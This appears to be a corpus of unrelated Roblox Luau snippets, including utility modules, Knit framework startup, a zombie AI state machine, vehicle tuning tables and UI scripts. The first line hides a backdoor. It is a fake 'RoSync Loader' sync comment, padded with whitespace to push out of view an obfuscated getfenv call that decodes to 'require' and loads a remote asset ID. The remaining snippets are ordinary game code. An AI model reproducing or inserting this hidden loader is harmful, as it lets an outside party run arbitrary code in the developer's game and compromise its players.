Roblox/luau_corpus huggingface dataset:
--[[ Last synced 10/19/2020 07:18                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
--[[
	Creates a Symbol with the given name.

	When printed or coerced to a string, the symbol will turn into the string
	given as its name.
]]
function Symbol.named(name)
	assert(type(name) == "string", "Symbols must be created using a string name!")

	local self = newproxy(true)

	local wrappedName = ("Symbol(%s)"):format(name)

	getmetatable(self).__tostring = function()
		return wrappedName
	end

	return self
end
-- ALEX WAS HERE LOL

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local u2 = Random.new();
return function(...)
	local v1 = { ... };
	if type(v1[1][1]) == "table" then
		v1 = u1.Functions.CloneTable(v1[1]);
	end;
	if #v1 < 2 then
		return v1[1][1], nil, 100;
	end;
	local u3 = nil;
	(function()
		local v2 = 0;
		for v3, v4 in ipairs(v1) do
			v2 = v2 + v4[2];
		end;
		for v5, v6 in ipairs(v1) do
			local v7 = v6[2];
			v6[2] = v7 / v2;
			v6[3] = v7;
		end;
	end)();
	u3 = u2:NextNumber();
	local v8 = (function()
		local v9 = 0;
		for v10, v11 in ipairs(v1) do
			v9 = v9 + v11[2];
			if u3 <= v9 then
				return v11;
			end;
		end;
	end)();
	return v8[1], u3, v8[2];
end;
--[=[
	Maps the input brios to the output observables
	@since 3.6.0
	@param project project (Brio<T> | T) -> Brio<U> | U
	@return (source: Observable<Brio<T> | T>) -> Observable<Brio<U>>
]=]
function RxBrioUtils.map(project)
	return Rx.map(function(...)
		local n = select("#", ...)
		local brios = {}
		local args

		if n == 1 then
			if Brio.isBrio(...) then
				table.insert(brios, (...))
				args = (...):GetPackedValues()
			else
				args = {[1] = ...}
			end
		else
			args = {}
			for index, item in pairs({...}) do
				if Brio.isBrio(item) then
					table.insert(brios, item)
					args[index] = item:GetValue() -- we lose data here, but I think this is fine
				else
					args[index] = item
				end
			end
			args.n = n
		end

		local results = table.pack(project(table.unpack(args, 1, args.n)))
		local transformedResults = {}
		for i=1, results.n do
			local item = results[i]
			if Brio.isBrio(item) then
				table.insert(brios, item) -- add all subsequent brios into this table...
				transformedResults[i] = item:GetValue()
			else
				transformedResults[i] = item
			end
		end

		return BrioUtils.first(brios, table.unpack(transformedResults, 1, transformedResults.n))
	end)
end

function RxBrioUtils._mapResult(brio)
	return function(...)
		local n = select("#", ...)
		if n == 0 then
			return BrioUtils.withOtherValues(brio)
		elseif n == 1 then
			if Brio.isBrio(...) then
				return BrioUtils.first({brio, (...)}, (...):GetValue())
			else
				return BrioUtils.withOtherValues(brio, ...)
			end
		else
			local brios = { brio }
			local args = {}

			for index, item in pairs({...}) do
				if Brio.isBrio(item) then
					table.insert(brios, item)
					args[index] = item:GetValue() -- we lose data here, but I think this is fine
				else
					args[index] = item
				end
			end

			return BrioUtils.first(brios, unpack(args, 1, n))
		end
	end
end
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	return plrData.Character.Purity.Value > -30
end
-- Pull maps from Maps.
for i, map in ipairs(OwnerMapInstallFolder:GetChildren()) do
	InstallMap(map)
end
OwnerMapInstallFolder.ChildAdded:Connect(function(map)
	wait()
	InstallMap(map)
end)
-- @ModuleDescription Library containing other small function useful for programming.
local System = require(game.ReplicatedStorage.System)
local Module = {}
Module.Replicated = true

local HTTPService = game:GetService("HttpService")

function Module.Rotate(t)
	local output = {{}, {}, {}}

	for i, row in pairs(t) do
		for j = 1,3 do
			output[j][4-i] = row[j]
		end
	end

	return output
end

function Module.Compare(arr1, arr2) : boolean
	local a1 = HTTPService:JSONEncode(arr1)
	local a2 = HTTPService:JSONEncode(arr2)
	return a1 == a2
end

return Module
--[[function util.Tween(part,info,goal)
	local tween = game:GetService("TweenService"):Create(part,info,goal)
	return tween
end]]--

function util.Tween(tbl)
	-- util.Tween( { part , { Position = Vector3.new(0,0,0) } , 2 , "Linear" , "Out" , 0 , false, 0 } )
	local parent,property,ttime,easingstyle,easingdirect,repeattime,reversable,delay = tbl[1],tbl[2],tbl[3] or 1,tbl[4] or "Linear",tbl[5] or "InOut",tbl[6] or 0,tbl[7] or false,tbl[8] or 0
	local ntw = game:GetService("TweenService"):Create(parent,TweenInfo.new(ttime,Enum.EasingStyle[easingstyle].Value,Enum.EasingDirection[easingdirect].Value,repeattime,reversable,delay),property)
	return ntw
end

function util.Sound(npar,sID,vol,pitch,looped)

	local par = npar or workspace

	local sound = Instance.new("Sound")
	sound.Parent = par

	sound.Volume = vol or 1
	if sID then sound.SoundId = "rbxassetid://" .. tostring(sID) end
	sound.Looped = looped or false
	sound.Pitch = pitch or 1

	return sound

end
----- Information Panel Locals -----

local InformationText = script.Parent.Parent.Parent.InformationFrame.Variables.InformationText
local InformationCaseText = script.Parent.Parent.Parent.InformationFrame.Variables.CaseCollectionText
local InformationImage = script.Parent.Parent.Parent.InformationFrame.Variables.CurrentSkin
--- Makes an Enum type.
function Util.MakeEnumType(name, values)
	local findValue = Util.MakeFuzzyFinder(values)
	return {
		Validate = function(text)
			return findValue(text, true) ~= nil, ("Value %q is not a valid %s."):format(text, name)
		end,
		Autocomplete = function(text)
			local list = findValue(text)
			return type(list[1]) ~= "string" and Util.GetNames(list) or list
		end,
		Parse = function(text)
			return findValue(text, true)
		end
	}
end
--				if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
--					model.Humanoid.Jump = true
--				end
			end
			
		end
	end
	PursueState.Init = function()
	end
	
	-- AttackState: Keep moving towards target and play attack animation.
	local AttackState = StateMachine.NewState()
	AttackState.Name = "Attack"
	local lastAttack = os.time()
	local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
	AttackState.Action = function()
		model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
		local now = os.time()
		if now - lastAttack > 3 then
			lastAttack = now
			attackTrack:Play()
		end
	end
	
	-- HuntState: Can't see target but NPC will move to target's last known location.
	-- Will eventually get bored and switch state.
	local HuntState = StateMachine.NewState()
	HuntState.Name = "Hunt"
	HuntState.Action = function()
		if ZombieTargetLastLocation then
			PathLib:MoveToTarget(model, ZombieTargetLastLocation)
		end
	end
	HuntState.Init = function()
		lastBored = os.time() + configs["BoredomDuration"] / 2
	end
	
	-- CONDITION DEFINITIONS	
	
	-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
	-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
	-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
	local CanSeeTarget = StateMachine.NewCondition()
	CanSeeTarget.Name = "CanSeeTarget"
	CanSeeTarget.Evaluate = function()
		if model then
			-- Get list of all nearby Zombies and non-Zombie humanoids
			-- Zombie list is used to ignore zombies during later raycast
			local humanoids = HumanoidList:GetCurrent()	
			local zombies = {}
			local characters = {}
			for _, object in pairs(humanoids) do
				if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then				
					local torso = object.Parent:FindFirstChild("HumanoidRootPart")
					if torso then
						if not model:FindFirstChild("HumanoidRootPart") then continue end
						local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
						if distance <= configs["AggroRange"] then
							if object.Parent.Name == "Drooling Zombie" then
								table.insert(zombies, object.Parent)
							else
								table.insert(characters, object.Parent)
							end
						end	
					end	
				end
			end	
			
			local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
			if target then
				ZombieTarget = target
				return true
			end
--[=[
	@return Promise
	Starts Knit. Should only be called once.

	Optionally, `KnitOptions` can be passed in order to set
	Knit's custom configurations.

	:::caution
	Be sure that all services have been created _before_
	calling `Start`. Services cannot be added later.
	:::

	```lua
	Knit.Start():andThen(function()
		print("Knit started!")
	end):catch(warn)
	```
	
	Example of Knit started with options:
	```lua
	Knit.Start({
		Middleware = {
			Inbound = {
				function(player, args)
					print("Player is giving following args to server:", args)
					return true
				end
			}
		}
	}):andThen(function()
		print("Knit started!")
	end):catch(warn)
	```
]=]
function KnitServer.Start(options: KnitOptions?)

	if started then
		return Promise.reject("Knit already started")
	end

	started = true

	if options == nil then
		selectedOptions = defaultOptions
	else
		assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options))
		selectedOptions = options
		for k,v in pairs(defaultOptions) do
			if selectedOptions[k] == nil then
				selectedOptions[k] = v
			end
		end
	end

	return Promise.new(function(resolve)

		local knitMiddleware = selectedOptions.Middleware or {}

		-- Bind remotes:
		for _,service in pairs(services) do
			local middleware = service.Middleware or {}
			local inbound = middleware.Inbound or knitMiddleware.Inbound
			local outbound = middleware.Outbound or knitMiddleware.Outbound
			service.Middleware = nil
			for k,v in pairs(service.Client) do
				if type(v) == "function" then
					service.KnitComm:WrapMethod(service.Client, k, inbound, outbound)
				elseif v == SIGNAL_MARKER then
					service.Client[k] = service.KnitComm:CreateSignal(k, inbound, outbound)
				elseif type(v) == "table" and v[1] == PROPERTY_MARKER then
					service.Client[k] = service.KnitComm:CreateProperty(k, v[2], inbound, outbound)
				end
			end
		end

		-- Init:
		local promisesInitServices = {}
		for _,service in pairs(services) do
			if type(service.KnitInit) == "function" then
				table.insert(promisesInitServices, Promise.new(function(r)
					service:KnitInit()
					r()
				end))
			end
		end

		resolve(Promise.all(promisesInitServices))

	end):andThen(function()

		-- Start:
		for _,service in pairs(services) do
			if type(service.KnitStart) == "function" then
				task.spawn(service.KnitStart, service)
			end
		end

		startedComplete = true
		onStartedComplete:Fire()

		task.defer(function()
			onStartedComplete:Destroy()
		end)

		-- Expose service remotes to everyone:
		knitRepServiceFolder.Parent = script.Parent

	end)

end
-- Event Bindings
Players.PlayerAdded:connect(OnPlayerAdded)

return FlagStandManager
-- Want to turn off Invisicam? Be sure to call this after.
function Invisicam:Cleanup()
	for hit, originalFade in pairs(SavedHits) do
		hit.LocalTransparencyModifier = originalFade
	end
end
--Droping Nuke--
	script.Parent.Parent.Part7:Remove()
	end
	script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[
	Novena Constraint Type: Motorcycle
			The Bike Chassis
	
	
				Avxnturador | Novena
--]]

local mouse = game.Players.LocalPlayer:GetMouse()
script.Parent.Parent:WaitForChild("Bike")
local bike = script.Parent.Parent.Bike.Value
local on = script.Parent.Parent.IsOn
local _Tune = require(bike["Tuner"])

if not _Tune.Engine and not _Tune.Electric then return end

script.Parent:WaitForChild("TextLabel").Visible = not on.Value

script.Parent.Parent.IsOn.Changed:connect(function() 
	script.Parent.TextLabel.Visible = not on.Value
end)

mouse.keyDown:connect(function(k) 
	if k=="f" then 
		if not on.Value then
			script.Parent.TextLabel.Visible=false
			on.Value = true
		else
			on.Value = false
			script.Parent.TextLabel.Visible=true
		end
	end 
end)
-- I only made it a model for easier access.

game.Players.PlayerAdded:Connect(function(p)
	p.CharacterAdded:Connect(function(c)
		c.Humanoid.BreakJointsOnDeath = false
		c.Humanoid.Died:Connect(function()
			c.HumanoidRootPart.RotVelocity = Vector3.new(180,360,90) -- Hopefully makes it so whenever you die, you don't just stand still. Feel free to remove it because this would only work for r6 lols
			for _, v in pairs(c:GetDescendants()) do
				if v:IsA("Motor6D") then
					local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
					a0.CFrame = v.C0
					a1.CFrame = v.C1
					a0.Parent = v.Part0
					a1.Parent = v.Part1
					
					local b = Instance.new("BallSocketConstraint")
					b.Attachment0 = a0
					b.Attachment1 = a1
					b.Parent = v.Part0
					
					v:Destroy()
				end
			end
			c.HumanoidRootPart.CanCollide = false
		end)
	end)
end)
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.EStore
local opened = aFinderButton.Opened
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
--------END CREW--------

game.Workspace.RRProjector.Decal.Texture = game.Workspace.Screens.Main.Value

game.Workspace.Screens.ProjectionL.Value = game.Workspace.Screens.ProjectionL.Value
game.Workspace.Screens.ProjectionR.Value = game.Workspace.Screens.ProjectionR.Value
--[[Weld functions]]

	local JS = game:GetService("JointsService")
	local PGS_ON = workspace:PGSIsEnabled()
	
	function MakeWeld(x,y,type,s) 
		if type==nil then type="Weld" end
		local W=Instance.new(type,JS) 
		W.Part0=x W.Part1=y 
		W.C0=x.CFrame:inverse()*x.CFrame 
		W.C1=y.CFrame:inverse()*x.CFrame 
		if type=="Motor" and s~=nil then 
			W.MaxVelocity=s 
		end 
		return W	
	end
	
	function ModelWeld(a,b) 
		if a:IsA("BasePart") then 
			MakeWeld(b,a,"Weld") 
		elseif a:IsA("Model") then 
			for i,v in pairs(a:GetChildren()) do 
				ModelWeld(v,b) 
			end 
		end 
	end
	
	function UnAnchor(a) 
		if a:IsA("BasePart") then a.Anchored=false a.Locked=true end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end 
	end
-- Returns the key of the specified value, or nil if it could not be found. Unlike IndexOf, this searches every key in the table, not just ordinal indices (arrays)
-- This is inherently slower due to how lookups work, so if your table is structured like an array, use table.find
Table.keyOf = function (tbl, value)
	for index, obj in pairs(tbl) do
		if obj == value then
			return index
		end
	end
	return nil
end
--			elseif state == "Dead" then
--				wait(.4)
--				animations[state]:AdjustSpeed(0)
			end
			animations[state]:Play()

		end
	end
end

while true do
	game:GetService("RunService").Stepped:wait()
	if humanoid.Health > 0 then
		if Grounded() then
			local speed = Vector3.new(character.HumanoidRootPart.Velocity.X, 0, character.HumanoidRootPart.Velocity.Z).magnitude
			if speed > 1 then
				ChangeState("Walk")
			else
				ChangeState("Idle")
			end
		else
			local ySpeed = character.HumanoidRootPart.Velocity.Y
			if ySpeed > 0 then
				ChangeState("Jump")
			else
				ChangeState("Fall")
			end
		end
	else
		--ChangeState("Dead")
	end
end
--wait()
game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
	local hl = script.Highlight:Clone()
	hl.Parent = char
end)
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder
	
]]--

local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
	game:GetService("RunService").Heartbeat:Wait();
end;
return function(p1, p2, ...)
	local v2, v3 = ...;
	p1.title.Text = v2;
	if v3 == "Mythical" or v3 == "Exclusive" then
		p1.title.TextColor3 = Color3.new(1, 1, 1);
		v1.Assets.UI.Raritys:FindFirstChild(v3):Clone().Parent = p1.title;
	end;
end;
--// SS3 controls for AC6 by Itzt, originally for 2014 Infiniti QX80. i don't know how to tune ac lol
 
wait(0.1)
local player = game.Players.LocalPlayer
local HUB = script.Parent.HUB
local TR = script.Parent.Tracker
local limitButton = HUB.Name
local lightOn = false
local Camera = game.Workspace.CurrentCamera
local cam = script.Parent.nxtcam.Value
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local windows = false
local winfob = HUB.Parent.Music
local pal = false
local palpal = HUB.Parent.Palette
local handler = carSeat:WaitForChild('Filter')
local red = 0
local green = 0
local blue = 0
--[[
alert_date - дата и время создания сообщения
- image - ссылка на картинку
- text - собственно текст
]]
local delete = script.deleteMe:Clone()

while true do
	local tmp = alert:GetChildren()
	if #tmp then
		-- отображение данных
		ui.Parent = script
		sf:ClearAllChildren()--Remove old frames
		ui.Parent = sf
		
		for a,b in pairs(tmp) do
			local val = b.text.Value
			local image = b.image.Value
			-- повесим скрипт на удаление сообщения
			local tmp = delete:Clone()
			tmp.Parent = b
			tmp.Disabled = false
			
			local new = sample:Clone()--Make a clone of the sample frame
			new.PName.Text = val -- устанавливаем текст
			
			new.LayoutOrder = a --UIListLayout uses this to sort in the correct order
			if image ~= '' then 
				new.Image.Image = image -- установка картинки
			else
				new.Image.Parent = nil
--/////////// CONFIGURATIONS \\\\\\\\\\\\\\\\\


local sensitivity = 1 -- how quick/snappy the sway movements are. Don't go above 2
local swaysize = 1 -- how large/powerful the sway is. Don't go above 2
local includestrafe = false -- if true the fps arms will sway when the character is strafing
local includewalksway = true -- if true, fps arms will sway when you are walking
local includecamerasway = true -- if true, fps arms will sway when you move the camera
local includejumpsway = true -- if true, jumping will have an effect on the viewmodel
local headoffset = 0 -- the height offset from the default camera position of the head.
local firstperson_arm_transparency = 0 -- the transparency of the arms in first person; set to 1 for invisible and set to 0 for fully visible.
local firstperson_waist_movements_enabled = false -- if true, animations will affect the Uppertorso. If false, the uppertorso stays still while in first person (applies to R15 only)
--Audio
local soundBank =  game.ReplicatedStorage.Sounds.NPC.Banto:GetChildren()
banto.Health.Changed:connect(function()
    local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
    hitSound.Parent = banto.PrimaryPart
    hitSound.PlayOnRemove = true
    wait()
    hitSound:Destroy()
end)

while true do
    bp.Parent = banto.PrimaryPart
    local goal
    repeat 
    local ray = Ray.new(Vector3.new(origin.p.x+math.random(-tether,tether), banto.PrimaryPart.Position.Y+100, origin.p.z+math.random(-tether,tether)),Vector3.new(0,-130,0))
    local part,pos,norm,mat = workspace:FindPartOnRay(ray,banto)
    if part == workspace.Terrain and mat ~= Enum.Material.Water then
        goal = pos+Vector3.new(0,2.25,0)
    end
    wait()
    until goal
    --Set new goal for banto to MoveTo :)
    walk:Play()
    local pos = banto.PrimaryPart.Position
    local cf = CFrame.new(Vector3.new(pos.X, 0, pos.Z), Vector3.new(goal.X, 0, goal.Z))
    bg.CFrame = cf
    bp.Position = (cf*CFrame.new(0,0,-100)).p
    
    local start = tick()
    repeat wait(.5)
    local ray = Ray.new(banto.PrimaryPart.Position, Vector3.new(0,-140,0))
    
    until (banto.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >10
    walk:Stop()
    bp.Parent = nil
    wait(math.random(3,8))
end
--[[Weight and CG]]
	Tune.Weight			= 2421		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensionws in studs ; larger = more stable)
	 --[[Width]]		6.5		,
	 --[[Height]]		4.8		,
	 --[[Length]]		17		}
	Tune.WeightDist		= 51		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .7		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = MORE STABLE / carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
-- Services
local Teams = game:GetService("Teams")
local Workspace = game:GetService("Workspace")
local Debris = game:GetService("Debris")
local ContentProvider = game:GetService("ContentProvider")
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local RemoteEvent = ReplicatedStorage:WaitForChild("DexEvent");